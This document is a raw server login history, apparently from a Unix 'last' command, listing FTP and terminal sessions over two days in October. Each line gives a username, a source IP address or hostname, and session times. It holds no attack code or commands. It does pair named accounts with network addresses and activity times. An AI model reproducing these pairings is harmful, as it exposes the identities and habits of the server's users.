gansta ftp 213.35.211.150 Sat Oct 23 19:48 - 20:40 (00:51)
albalt ftp 217.159.170.70 Sat Oct 23 19:41 - 19:56 (00:15)
invest ftp 217.107.22.172 Sat Oct 23 19:28 - 19:37 (00:09)
forest ftp 212.179.218.66 Sat Oct 23 19:19 - 19:19 (00:00)
reasonmu ftp 194.226.80.66 Sat Oct 23 19:17 - 20:24 (01:06)
skynet ftp 213.130.10.141 Sat Oct 23 19:12 - 19:27 (00:14)
invest ftp 217.107.22.172 Sat Oct 23 19:09 - 19:19 (00:10)
ssquad ftp 195.239.140.241 Sat Oct 23 19:05 - 19:09 (00:04)
prohack ftp 83.167.80.212 Sat Oct 23 19:02 - 19:24 (00:21)
alexclk ftp 81.30.211.199 Sat Oct 23 18:54 - 18:54 (00:00)
iand ftp 213.148.31.233 Sat Oct 23 18:54 - 19:14 (00:20)
reasonmu ftp 194.226.80.66 Sat Oct 23 18:51 - 19:23 (00:31)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 18:51 - 18:53 (00:01)
detonator ftp 195.112.226.185 Sat Oct 23 18:51 - 19:06 (00:15)
ssquad ftp 195.239.140.241 Sat Oct 23 18:48 - 18:48 (00:00)
forest ftp 212.179.218.66 Sat Oct 23 18:48 - 18:48 (00:00)
skynet ftp 213.130.10.141 Sat Oct 23 18:45 - 19:10 (00:24)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 18:37 - 18:37 (00:00)
skynet ftp 213.130.10.141 Sat Oct 23 18:16 - 18:34 (00:18)
detonator ftp 80.255.136.38 Sat Oct 23 18:11 - 18:22 (00:10)
eugen ftp 82.147.176.85 Sat Oct 23 18:05 - 18:06 (00:00)
detonator ftp 80.255.136.38 Sat Oct 23 18:05 - 18:08 (00:02)
eugen ftp 82.147.176.85 Sat Oct 23 18:01 - 18:11 (00:10)
detonator ftp 80.255.136.38 Sat Oct 23 17:58 - 18:10 (00:12)
eugen ftp 82.147.176.85 Sat Oct 23 17:57 - 18:07 (00:10)
skynet ftp 213.130.10.141 Sat Oct 23 17:40 - 18:07 (00:27)
prohack ftp 83.167.82.153 Sat Oct 23 17:38 - 18:09 (00:31)
eugen ftp 82.147.176.85 Sat Oct 23 17:38 - 17:38 (00:00)
eugen ftp 82.147.176.85 Sat Oct 23 17:37 - 17:47 (00:10)
gdp ttyp4 solo.ints.net Sat Oct 23 17:35 - 00:01 (06:25)
eugen ftp 82.147.176.85 Sat Oct 23 17:24 - 17:34 (00:10)
ssquad ftp 81.211.95.83 Sat Oct 23 17:15 - 17:26 (00:10)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 17:15 - 17:59 (00:43)
alexclk ftp 81.30.211.199 Sat Oct 23 17:08 - 17:10 (00:01)
zlg ftp 194.186.32.48 Sat Oct 23 17:06 - 17:16 (00:10)
skynet ftp 213.130.10.141 Sat Oct 23 17:03 - 17:18 (00:15)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 17:02 - 17:05 (00:02)
forumlif ftp 194.106.127.118 Sat Oct 23 17:01 - 17:01 (00:00)
mwsdata ftp 80.255.136.38 Sat Oct 23 16:59 - 17:08 (00:08)
wh ftp 212.15.118.33 Sat Oct 23 16:59 - 17:00 (00:00)
detonator ftp 80.255.136.38 Sat Oct 23 16:59 - 16:59 (00:00)
eugen ftp 82.147.176.85 Sat Oct 23 16:42 - 16:52 (00:10)
ssquad ftp 81.211.95.83 Sat Oct 23 16:35 - 16:49 (00:14)
[email protected] ftp 213.158.7.235 Sat Oct 23 16:21 - 16:53 (00:31)
zlg ftp 194.186.32.15 Sat Oct 23 16:11 - 16:24 (00:13)
gdp ttyp4 62.65.252.61 Sat Oct 23 16:03 - 16:22 (00:19)
oeforum ftp 212.7.28.220 Sat Oct 23 15:50 - 16:00 (00:09)
pionerz ftp 194.204.17.244 Sat Oct 23 15:45 - 16:06 (00:20)
oeforum ftp 212.7.28.220 Sat Oct 23 15:40 - 15:50 (00:10)
oeforum ftp 212.7.28.220 Sat Oct 23 15:40 - 15:50 (00:09)
gansta ftp 213.35.211.150 Sat Oct 23 15:37 - 16:59 (01:22)
oeforum ftp 212.7.28.220 Sat Oct 23 15:33 - 15:34 (00:00)
oeforum ftp 212.7.28.220 Sat Oct 23 15:30 - 15:40 (00:10)
admin ttyp0 82.131.4.167 Sat Oct 23 15:26 - 22:55 (07:28)
akorbal ftp 62.76.4.137 Sat Oct 23 15:25 - 15:27 (00:01)
akorbal ftp 62.76.4.137 Sat Oct 23 15:23 - 15:23 (00:00)
softovik ftp 81.89.71.20 Sat Oct 23 15:22 - 15:47 (00:25)
xboxland ftp 217.10.45.28 Sat Oct 23 14:59 - 15:01 (00:01)
oeforum ftp 212.7.28.220 Sat Oct 23 14:43 - 14:43 (00:00)
topbalt ftp 217.159.171.34 Sat Oct 23 14:01 - 14:01 (00:00)
prohack ftp 83.167.82.253 Sat Oct 23 13:54 - 13:55 (00:01)
topbalt ftp 217.159.171.34 Sat Oct 23 13:45 - 13:45 (00:00)
prohack ftp 83.167.82.253 Sat Oct 23 13:44 - 13:53 (00:09)
topbalt ftp 217.159.171.34 Sat Oct 23 13:28 - 13:28 (00:00)
forumlif ftp 194.106.127.118 Sat Oct 23 13:27 - 13:28 (00:01)
topbalt ftp 217.159.171.34 Sat Oct 23 13:25 - 13:25 (00:00)
forumlif ftp 194.106.127.118 Sat Oct 23 13:23 - 13:26 (00:03)
topbalt ftp 217.159.171.34 Sat Oct 23 13:21 - 13:21 (00:00)
invest ftp 217.107.22.2 Sat Oct 23 13:14 - 13:25 (00:10)
design ftp 213.35.209.11 Sat Oct 23 13:13 - 13:17 (00:04)
onlines ftp 194.204.48.133 Sat Oct 23 13:08 - 13:24 (00:15)
sandsst ftp 217.107.79.5 Sat Oct 23 13:05 - 13:05 (00:00)
topbalt ftp 217.159.171.34 Sat Oct 23 13:05 - 13:05 (00:00)
tulksco ftp 217.199.109.35 Sat Oct 23 13:03 - 13:20 (00:17)
alexclk ftp 81.30.211.199 Sat Oct 23 12:50 - 12:50 (00:00)
tulksco ftp 217.199.109.35 Sat Oct 23 12:50 - 12:57 (00:06)
topbalt ftp 217.159.171.34 Sat Oct 23 12:50 - 12:50 (00:00)
alexclk ftp 81.30.211.199 Sat Oct 23 12:50 - 12:50 (00:00)
topbalt ftp 217.159.171.34 Sat Oct 23 12:47 - 12:47 (00:00)
admin ttyp0 82.131.4.167 Sat Oct 23 12:45 - 15:24 (02:39)
design ftp 213.35.209.11 Sat Oct 23 12:41 - 12:46 (00:05)
tallif ftp 213.219.75.50 Sat Oct 23 12:39 - 12:55 (00:15)
topbalt ftp 217.159.171.34 Sat Oct 23 12:39 - 13:00 (00:20)
bk ftp 217.159.171.34 Sat Oct 23 12:39 - 12:39 (00:00)
alexclk ftp 81.30.211.199 Sat Oct 23 12:36 - 12:37 (00:00)
webb ftp 82.147.171.109 Sat Oct 23 12:27 - 12:32 (00:04)
webb ftp 82.147.171.109 Sat Oct 23 12:27 - 12:27 (00:00)
alexclk ftp 81.30.211.199 Sat Oct 23 12:26 - 12:43 (00:17)
prohack ftp 83.167.82.178 Sat Oct 23 12:14 - 12:23 (00:08)
alexclk ftp 217.86.148.209 Sat Oct 23 12:05 - 12:15 (00:10)
prohack ftp 83.167.82.178 Sat Oct 23 12:05 - 12:21 (00:16)
hwin ftp 80.237.115.33 Sat Oct 23 11:52 - 11:57 (00:04)
invest ftp 217.107.23.99 Sat Oct 23 11:47 - 12:03 (00:16)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 11:35 - 11:45 (00:10)
takaja ftp 194.204.29.7 Sat Oct 23 11:16 - 11:26 (00:10)
forest ftp 62.219.134.226 Sat Oct 23 11:16 - 11:31 (00:15)
stive ftp 62.219.134.226 Sat Oct 23 11:10 - 11:15 (00:04)
tulksco ftp 217.199.109.35 Sat Oct 23 11:10 - 11:16 (00:06)
stive ftp 80.179.51.128 Sat Oct 23 11:08 - 11:15 (00:06)
tulksco ftp 217.199.109.35 Sat Oct 23 11:07 - 11:07 (00:00)
webb ftp 82.147.171.109 Sat Oct 23 11:04 - 11:04 (00:00)
tulksco ftp 217.199.109.35 Sat Oct 23 11:02 - 11:04 (00:01)
takaja ftp 194.204.29.7 Sat Oct 23 11:02 - 13:00 (01:58)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 11:00 - 11:00 (00:00)
tulksco ftp 217.199.109.35 Sat Oct 23 10:53 - 10:56 (00:02)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 10:52 - 10:54 (00:02)
elitemon ftp 82.147.175.77 Sat Oct 23 10:48 - 11:06 (00:17)
tulksco ftp 217.199.109.35 Sat Oct 23 10:21 - 10:25 (00:03)
elitemon ftp 82.147.175.77 Sat Oct 23 10:20 - 10:24 (00:04)
[email protected] ftp 82.115.25.10 Sat Oct 23 10:01 - 10:11 (00:10)
tulksco ftp 217.199.109.35 Sat Oct 23 09:59 - 10:00 (00:01)
elitemon ftp 82.147.175.77 Sat Oct 23 09:39 - 10:09 (00:29)
prohack ftp 83.167.82.210 Sat Oct 23 09:29 - 09:30 (00:01)
tulksco ftp 217.199.109.35 Sat Oct 23 09:23 - 09:29 (00:06)
elitemon ftp 82.147.175.77 Sat Oct 23 08:30 - 09:35 (01:04)
prohack ftp 83.167.82.208 Sat Oct 23 08:26 - 08:46 (00:20)
elitemon ftp 82.147.175.77 Sat Oct 23 07:42 - 08:11 (00:28)
zlg ftp 194.186.96.253 Sat Oct 23 05:53 - 06:05 (00:11)
onlines ftp 194.204.48.133 Sat Oct 23 04:14 - 04:29 (00:15)
zport ftp 81.3.154.77 Sat Oct 23 04:11 - 04:28 (00:16)
onlines ftp 194.204.48.133 Sat Oct 23 04:07 - 04:12 (00:04)
zlg ftp 194.186.32.103 Sat Oct 23 03:51 - 04:07 (00:16)
anonymous@sslpr ftp 83.237.41.31 Sat Oct 23 03:40 - 03:40 (00:00)
zport ftp 82.140.96.22 Sat Oct 23 03:28 - 03:29 (00:00)
onlines ftp 194.204.48.133 Sat Oct 23 03:12 - 03:13 (00:00)
zlg ftp 194.186.32.103 Sat Oct 23 03:04 - 03:21 (00:17)
story ftp 80.235.127.254 Sat Oct 23 02:57 - 03:00 (00:03)
pionerz ftp 194.204.17.244 Sat Oct 23 02:55 - 03:10 (00:15)
zlg ftp 194.186.32.103 Sat Oct 23 02:52 - 03:02 (00:10)
zport ftp 82.140.96.22 Sat Oct 23 02:18 - 03:16 (00:58)
story ftp 80.235.127.254 Sat Oct 23 01:54 - 02:07 (00:13)
bk ftp 217.159.171.34 Sat Oct 23 01:37 - 01:39 (00:01)
softovik ftp 81.89.71.93 Sat Oct 23 01:36 - 01:42 (00:06)
story ftp 80.235.127.254 Sat Oct 23 01:30 - 01:31 (00:00)
bk ftp 217.159.171.34 Sat Oct 23 01:25 - 01:25 (00:00)
mp3cm ftp 195.239.140.241 Sat Oct 23 01:24 - 01:25 (00:01)
story ftp 80.235.127.254 Sat Oct 23 01:17 - 01:28 (00:10)
zport ftp 82.140.96.22 Sat Oct 23 01:13 - 02:23 (01:09)
mp3cm ftp 195.239.140.241 Sat Oct 23 01:13 - 01:17 (00:04)
story ftp 80.235.127.254 Sat Oct 23 01:01 - 01:16 (00:14)
mp3cm ftp 195.239.140.241 Sat Oct 23 00:56 - 01:16 (00:19)
topbalt ftp 217.159.171.34 Sat Oct 23 00:55 - 00:55 (00:00)
skynet ftp 213.130.20.83 Sat Oct 23 00:54 - 01:03 (00:09)
topbalt ftp 217.159.171.34 Sat Oct 23 00:53 - 00:53 (00:00)
forum@estfootba ftp 194.106.127.118 Sat Oct 23 00:46 - 00:46 (00:00)
forumlif ftp 194.106.127.118 Sat Oct 23 00:45 - 00:46 (00:00)
mp3cm ftp 195.239.140.241 Sat Oct 23 00:41 - 00:59 (00:18)
mp3cm ftp 195.239.140.241 Sat Oct 23 00:39 - 00:39 (00:00)
forest ftp 82.81.111.238 Sat Oct 23 00:33 - 00:34 (00:01)
mp3cm ftp 195.239.140.241 Sat Oct 23 00:24 - 00:40 (00:15)
bk ftp 217.159.171.34 Sat Oct 23 00:20 - 00:20 (00:00)
topbalt ftp 217.159.171.34 Sat Oct 23 00:20 - 00:20 (00:00)
bk ftp 217.159.171.34 Sat Oct 23 00:17 - 00:18 (00:00)
topbalt ftp 217.159.171.34 Sat Oct 23 00:17 - 00:17 (00:00)
bk ftp 217.159.171.34 Sat Oct 23 00:14 - 00:20 (00:06)
topbalt ftp 217.159.171.34 Sat Oct 23 00:12 - 00:12 (00:00)
forumlif ftp 194.106.127.118 Sat Oct 23 00:07 - 00:09 (00:02)
topbalt ftp 217.159.171.34 Sat Oct 23 00:02 - 00:30 (00:27)
stive ftp 82.81.111.238 Sat Oct 23 00:02 - 00:02 (00:00)
bk ftp 217.159.171.34 Sat Oct 23 00:02 - 00:02 (00:00)
median ftp 83.237.28.218 Sat Oct 23 00:00 - 00:10 (00:09)
stive ftp 82.81.111.238 Fri Oct 22 23:53 - 23:53 (00:00)
[email protected] ftp 193.124.103.207 Fri Oct 22 23:49 - 23:49 (00:00)
ssquad ftp 81.211.95.108 Fri Oct 22 23:23 - 23:23 (00:00)
xboxland ftp 217.10.45.28 Fri Oct 22 23:17 - 23:24 (00:07)
forumlif ftp 194.106.127.118 Fri Oct 22 23:07 - 23:08 (00:00)
money ftp 217.159.171.6 Fri Oct 22 23:03 - 23:08 (00:05)
ssquad ftp 81.211.95.108 Fri Oct 22 23:01 - 23:12 (00:10)
money ftp 82.135.152.34 Fri Oct 22 23:01 - 23:01 (00:00)
median ftp 83.237.28.179 Fri Oct 22 22:59 - 22:59 (00:00)
nimble ftp 213.130.7.56 Fri Oct 22 22:55 - 23:06 (00:11)
money ftp 217.159.171.6 Fri Oct 22 22:51 - 23:01 (00:10)
money ftp 217.159.171.6 Fri Oct 22 22:51 - 22:51 (00:00)
[email protected] ftp 82.207.16.12 Fri Oct 22 22:47 - 23:02 (00:15)
tulksco ftp 217.199.109.35 Fri Oct 22 22:44 - 22:44 (00:00)
nimble ftp 213.130.7.56 Fri Oct 22 22:44 - 22:52 (00:08)
novo_logs ftp 217.172.21.35 Fri Oct 22 22:30 - 22:31 (00:01)
pionerz ftp 194.204.17.244 Fri Oct 22 22:19 - 22:58 (00:38)
deset ftp 62.183.2.120 Fri Oct 22 21:55 - 22:03 (00:07)
iand ftp 213.148.31.233 Fri Oct 22 21:49 - 21:51 (00:02)
albalt ftp 217.159.170.70 Fri Oct 22 21:44 - 21:49 (00:05)
iand ftp 213.148.31.233 Fri Oct 22 21:38 - 21:44 (00:05)
alexclk ftp 217.5.60.167 Fri Oct 22 21:37 - 21:48 (00:10)
albalt ftp 217.159.170.70 Fri Oct 22 21:35 - 23:50 (02:14)
iand ftp 213.148.31.233 Fri Oct 22 21:28 - 21:30 (00:01)
pionerz ftp 194.204.17.244 Fri Oct 22 21:11 - 21:27 (00:15)
lefthand ftp 64.182.1.198 Fri Oct 22 21:07 - 21:07 (00:00)
isd ftp 194.154.84.36 Fri Oct 22 21:05 - 21:52 (00:46)
lefthand ftp 64.182.1.198 Fri Oct 22 21:05 - 21:06 (00:00)
admin ttyp0 82.131.4.167 Fri Oct 22 21:04 - 01:51 (04:47)
lefthand ftp 194.226.242.85 Fri Oct 22 21:02 - 21:04 (00:02)
prohack ftp 83.167.82.230 Fri Oct 22 20:57 - 20:58 (00:01)
mp3cm ftp 195.239.140.241 Fri Oct 22 20:53 - 21:04 (00:10)
tdz ftp 194.84.143.232 Fri Oct 22 20:33 - 20:36 (00:02)
flooder ftp 195.39.210.230 Fri Oct 22 20:27 - 20:27 (00:00)
prohack ftp 83.167.82.230 Fri Oct 22 20:25 - 20:41 (00:15)
flooder ftp 195.39.210.230 Fri Oct 22 20:22 - 20:26 (00:04)
grusper ftp 82.131.16.127 Fri Oct 22 20:19 - 20:19 (00:00)
mp3cm ftp 195.239.140.241 Fri Oct 22 20:17 - 20:46 (00:28)
mp3cm ftp 195.239.140.241 Fri Oct 22 20:12 - 20:17 (00:05)
iand ftp 213.148.31.233 Fri Oct 22 20:08 - 20:50 (00:41)
prohack ftp 83.167.82.230 Fri Oct 22 20:08 - 20:08 (00:00)
gdpbalt ftp 62.65.252.61 Fri Oct 22 20:00 - 20:01 (00:00)
forest ftp 82.81.105.192 Fri Oct 22 19:51 - 19:52 (00:00)
prohack ftp 83.167.82.230 Fri Oct 22 19:49 - 20:07 (00:18)
ssquad ftp 81.211.95.108 Fri Oct 22 19:49 - 20:18 (00:28)
stive ftp 212.58.195.143 Fri Oct 22 19:46 - 19:47 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 19:45 - 19:46 (00:01)
nimble ftp 213.130.7.56 Fri Oct 22 19:43 - 20:00 (00:16)
xboxland ftp 217.10.45.28 Fri Oct 22 19:38 - 20:14 (00:35)
stive ftp 212.58.195.143 Fri Oct 22 19:38 - 19:39 (00:00)
skynet ftp 213.130.21.231 Fri Oct 22 19:37 - 19:58 (00:21)
stive ftp 212.58.195.143 Fri Oct 22 19:35 - 19:36 (00:01)
prohack ftp 83.167.82.230 Fri Oct 22 19:34 - 19:44 (00:09)
stive ftp 212.58.195.143 Fri Oct 22 19:33 - 19:35 (00:02)
prohack ftp 83.167.82.230 Fri Oct 22 19:32 - 19:34 (00:02)
stive ftp 212.58.195.143 Fri Oct 22 19:31 - 19:35 (00:03)
tdz ftp 194.84.143.232 Fri Oct 22 19:31 - 19:33 (00:02)
nimble ftp 213.130.7.56 Fri Oct 22 19:30 - 19:35 (00:05)
flooder ftp 195.39.210.230 Fri Oct 22 19:29 - 19:30 (00:01)
flooder ftp 195.39.210.230 Fri Oct 22 19:29 - 19:30 (00:01)
pionerz ftp 194.204.17.244 Fri Oct 22 19:26 - 19:57 (00:31)
pionerz ftp 194.204.17.244 Fri Oct 22 19:26 - 19:26 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 19:25 - 19:28 (00:03)
upsaitb ftp 62.148.157.141 Fri Oct 22 19:22 - 19:26 (00:04)
stive ftp 212.58.195.143 Fri Oct 22 19:21 - 19:25 (00:04)
stive ftp 212.58.195.143 Fri Oct 22 19:20 - 19:36 (00:16)
stive ftp 212.58.195.143 Fri Oct 22 19:19 - 19:47 (00:28)
takaja ftp 194.204.29.7 Fri Oct 22 19:17 - 19:32 (00:15)
prohack ftp 83.167.82.230 Fri Oct 22 19:17 - 19:32 (00:15)
xboxland ftp 217.10.45.28 Fri Oct 22 19:15 - 19:32 (00:16)
deset ftp 62.183.2.140 Fri Oct 22 19:15 - 19:25 (00:10)
deset ftp 62.183.2.140 Fri Oct 22 19:15 - 19:25 (00:10)
deset ftp 62.183.2.140 Fri Oct 22 19:15 - 19:25 (00:10)
deset ftp 62.183.2.140 Fri Oct 22 19:14 - 19:24 (00:09)
deset ftp 62.183.2.140 Fri Oct 22 19:14 - 19:14 (00:00)
forum@estfootba ftp 194.106.127.118 Fri Oct 22 19:13 - 19:14 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 19:12 - 19:20 (00:07)
stive ftp 212.58.195.143 Fri Oct 22 19:12 - 19:20 (00:08)
stive ftp 212.58.195.143 Fri Oct 22 19:12 - 19:12 (00:00)
skynet ftp 213.130.21.231 Fri Oct 22 19:09 - 19:25 (00:16)
ssquad ftp 81.211.95.108 Fri Oct 22 19:08 - 19:11 (00:02)
deset ftp 62.183.2.140 Fri Oct 22 19:08 - 19:08 (00:00)
forumlif ftp 194.204.37.86 Fri Oct 22 19:06 - 19:18 (00:11)
pionerz ftp 194.204.17.244 Fri Oct 22 19:05 - 19:23 (00:17)
stive ftp 212.58.195.143 Fri Oct 22 19:04 - 19:12 (00:07)
stive ftp 212.58.195.143 Fri Oct 22 19:02 - 19:12 (00:09)
stive ftp 212.58.195.143 Fri Oct 22 19:00 - 19:11 (00:10)
stive ftp 212.58.195.143 Fri Oct 22 18:58 - 19:00 (00:01)
flooder ftp 195.39.210.230 Fri Oct 22 18:57 - 18:57 (00:00)
flooder ftp 195.39.210.230 Fri Oct 22 18:56 - 18:57 (00:00)
deset ftp 62.183.2.140 Fri Oct 22 18:54 - 19:03 (00:09)
deset ftp 62.183.2.140 Fri Oct 22 18:53 - 18:54 (00:00)
deset ftp 62.183.2.140 Fri Oct 22 18:53 - 18:53 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 18:49 - 18:58 (00:09)
stive ftp 212.58.195.143 Fri Oct 22 18:47 - 19:04 (00:17)
stive ftp 212.58.195.143 Fri Oct 22 18:45 - 18:47 (00:02)
stive ftp 212.58.195.143 Fri Oct 22 18:45 - 18:45 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 18:44 - 18:45 (00:00)
xboxland ftp 217.10.45.28 Fri Oct 22 18:44 - 18:56 (00:11)
vacuum ftp 213.184.226.192 Fri Oct 22 18:43 - 18:50 (00:06)
stive ftp 212.58.195.143 Fri Oct 22 18:41 - 18:44 (00:03)
stive ftp 212.58.195.143 Fri Oct 22 18:41 - 18:41 (00:00)
takaja ftp 194.204.29.7 Fri Oct 22 18:39 - 19:03 (00:23)
stive ftp 212.58.195.143 Fri Oct 22 18:38 - 18:40 (00:02)
stive ftp 212.58.195.143 Fri Oct 22 18:38 - 18:38 (00:00)
anonymous@sslpr ftp 81.26.144.133 Fri Oct 22 18:37 - 18:45 (00:07)
anonymous@sslpr ftp 81.26.144.133 Fri Oct 22 18:37 - 18:45 (00:08)
skynet ftp 194.44.18.90 Fri Oct 22 18:36 - 18:49 (00:13)
stive ftp 212.58.195.143 Fri Oct 22 18:34 - 18:40 (00:06)
prohack ftp 83.167.82.230 Fri Oct 22 18:33 - 18:49 (00:15)
anonymous@sslpr ftp 81.26.144.133 Fri Oct 22 18:33 - 18:43 (00:10)
anonymous@sslpr ftp 81.26.144.133 Fri Oct 22 18:33 - 18:43 (00:10)
anonymous@sslpr ftp 81.26.144.133 Fri Oct 22 18:32 - 18:42 (00:10)
stive ftp 212.58.195.143 Fri Oct 22 18:32 - 18:34 (00:02)
ssquad ftp 81.211.95.108 Fri Oct 22 18:31 - 18:33 (00:01)
vacuum ftp 213.184.226.184 Fri Oct 22 18:30 - 18:46 (00:15)
stive ftp 212.58.195.143 Fri Oct 22 18:29 - 18:32 (00:02)
stive ftp 212.58.195.143 Fri Oct 22 18:29 - 18:29 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 18:29 - 18:29 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 18:28 - 19:18 (00:50)
odyssey ftp 83.136.241.18 Fri Oct 22 18:26 - 18:45 (00:19)
ssquad ftp 81.211.95.108 Fri Oct 22 18:26 - 18:30 (00:04)
odyssey ftp 83.136.241.18 Fri Oct 22 18:21 - 18:39 (00:17)
forest ftp 82.81.105.192 Fri Oct 22 18:18 - 18:18 (00:00)
skynet ftp 213.130.23.205 Fri Oct 22 18:18 - 18:18 (00:00)
alexclk ftp 82.131.4.167 Fri Oct 22 18:14 - 18:14 (00:00)
stive ftp 212.58.195.143 Fri Oct 22 18:09 - 18:13 (00:04)
ssquad ftp 81.211.95.108 Fri Oct 22 18:05 - 18:26 (00:20)
alexclk ftp 82.131.4.167 Fri Oct 22 18:04 - 18:14 (00:10)
ssquad ftp 81.211.95.108 Fri Oct 22 18:03 - 18:05 (00:02)
odyssey ftp 83.136.241.18 Fri Oct 22 18:01 - 18:19 (00:18)
oeforum ftp 212.7.28.220 Fri Oct 22 17:58 - 17:59 (00:00)
oeforum ftp 212.7.28.220 Fri Oct 22 17:57 - 18:07 (00:10)
spaiznuke ftp 192.117.97.6 Fri Oct 22 17:43 - 17:46 (00:02)
spaiznuke ftp 192.117.97.6 Fri Oct 22 17:35 - 17:41 (00:06)
grusper ftp 82.131.16.127 Fri Oct 22 17:27 - 17:51 (00:23)
odyssey ftp 83.136.241.18 Fri Oct 22 17:23 - 17:51 (00:27)
alexclk ftp 217.5.60.167 Fri Oct 22 17:20 - 18:15 (00:55)
tallif ftp 213.219.88.30 Fri Oct 22 17:14 - 17:29 (00:15)
odyssey ftp 83.136.241.18 Fri Oct 22 17:13 - 17:23 (00:10)
pionerz ftp 194.204.17.244 Fri Oct 22 16:59 - 19:01 (02:02)
tallif ftp 213.219.88.30 Fri Oct 22 16:46 - 17:12 (00:26)
skynet ftp 81.176.69.16 Fri Oct 22 16:42 - 16:43 (00:00)
spaiznuke ftp 192.117.97.6 Fri Oct 22 16:41 - 17:07 (00:26)
pionerz ftp 194.204.17.244 Fri Oct 22 16:35 - 16:51 (00:15)
skynet ftp 81.176.69.16 Fri Oct 22 16:35 - 16:43 (00:07)
skynet ftp 81.176.69.16 Fri Oct 22 16:32 - 16:33 (00:00)
tallif ftp 194.204.29.12 Fri Oct 22 16:28 - 16:49 (00:20)
tallif ftp 194.204.29.12 Fri Oct 22 16:26 - 16:32 (00:05)
tallif ftp 194.204.29.12 Fri Oct 22 16:26 - 16:27 (00:01)
odyssey ftp 83.136.241.18 Fri Oct 22 16:23 - 16:23 (00:00)
spaiznuke ftp 192.117.97.6 Fri Oct 22 16:21 - 16:33 (00:11)
admin ttyp0 82.131.4.167 Fri Oct 22 16:21 - 19:33 (03:11)
tallif ftp 213.219.88.30 Fri Oct 22 16:16 - 16:30 (00:14)
skynet ftp 213.130.10.179 Fri Oct 22 16:09 - 16:21 (00:11)
isd ftp 194.154.84.36 Fri Oct 22 15:54 - 16:39 (00:44)
forest ftp 82.81.105.192 Fri Oct 22 15:41 - 15:43 (00:01)
takaja ftp 194.204.29.7 Fri Oct 22 15:40 - 15:57 (00:16)
pionerz ftp 194.204.17.244 Fri Oct 22 15:40 - 16:13 (00:33)
bk ftp 217.159.171.34 Fri Oct 22 15:35 - 15:40 (00:04)
bk ftp 217.159.171.34 Fri Oct 22 15:35 - 15:38 (00:03)
grusper ftp 82.131.16.127 Fri Oct 22 15:35 - 15:35 (00:00)
vacuum ftp 213.184.226.160 Fri Oct 22 15:32 - 16:46 (01:14)
flooder ftp 195.39.210.230 Fri Oct 22 15:26 - 15:26 (00:00)
flooder ftp 195.39.210.230 Fri Oct 22 15:25 - 15:27 (00:02)
spaiznuke ftp 192.117.97.6 Fri Oct 22 15:25 - 15:39 (00:14)
pionerz ftp 194.204.17.244 Fri Oct 22 15:23 - 15:40 (00:16)
xzoneu ftp 83.219.159.11 Fri Oct 22 15:21 - 15:23 (00:01)
spaiznuke ftp 192.117.97.6 Fri Oct 22 15:17 - 15:30 (00:12)
forest ftp 82.81.105.192 Fri Oct 22 15:12 - 15:36 (00:24)
forest ftp 82.81.105.192 Fri Oct 22 15:08 - 15:11 (00:02)
flooder ftp 195.39.210.230 Fri Oct 22 15:07 - 15:07 (00:00)
flooder ftp 195.39.210.230 Fri Oct 22 15:06 - 15:12 (00:06)
bk ftp 217.159.171.34 Fri Oct 22 15:05 - 15:05 (00:00)
nimble ftp 213.130.7.42 Fri Oct 22 15:02 - 15:12 (00:10)
bk ftp 217.159.171.34 Fri Oct 22 15:00 - 15:00 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:59 - 14:59 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:58 - 14:58 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:56 - 14:56 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:55 - 15:15 (00:19)
forest ftp 82.81.105.192 Fri Oct 22 14:53 - 14:53 (00:00)
pionerz ftp 194.204.17.244 Fri Oct 22 14:48 - 14:59 (00:10)
nimble ftp 213.130.7.42 Fri Oct 22 14:46 - 15:09 (00:22)
bk ftp 217.159.171.34 Fri Oct 22 14:45 - 14:45 (00:00)
iand ftp 213.148.31.233 Fri Oct 22 14:45 - 14:45 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:45 - 14:45 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:44 - 14:55 (00:10)
trash ftp 213.35.209.11 Fri Oct 22 14:38 - 14:54 (00:16)
bk ftp 217.159.171.34 Fri Oct 22 14:30 - 14:30 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:27 - 14:27 (00:00)
iand ftp 213.148.31.233 Fri Oct 22 14:26 - 14:44 (00:18)
bk ftp 217.159.171.34 Fri Oct 22 14:25 - 14:25 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:25 - 14:25 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:23 - 14:23 (00:00)
spaiznuke ftp 192.117.97.6 Fri Oct 22 14:22 - 14:41 (00:19)
alexclk ftp 217.5.60.167 Fri Oct 22 14:21 - 14:23 (00:02)
bk ftp 217.159.171.34 Fri Oct 22 14:20 - 14:20 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:15 - 14:15 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:14 - 14:14 (00:00)
story ftp 80.235.127.254 Fri Oct 22 14:12 - 14:24 (00:12)
bk ftp 217.159.171.34 Fri Oct 22 14:11 - 14:11 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:11 - 14:11 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:08 - 14:08 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 14:08 - 14:40 (00:31)
bk ftp 217.159.171.34 Fri Oct 22 14:08 - 14:08 (00:00)
akorbal ftp 62.76.4.137 Fri Oct 22 14:08 - 14:21 (00:12)
nimble ftp 213.130.7.42 Fri Oct 22 13:59 - 14:06 (00:07)
deset ftp 62.183.3.97 Fri Oct 22 13:56 - 13:59 (00:03)
forest ftp 82.81.105.192 Fri Oct 22 13:55 - 13:55 (00:00)
sghi ftp 217.174.98.26 Fri Oct 22 13:54 - 13:58 (00:03)
bk ftp 217.159.171.34 Fri Oct 22 13:50 - 14:00 (00:10)
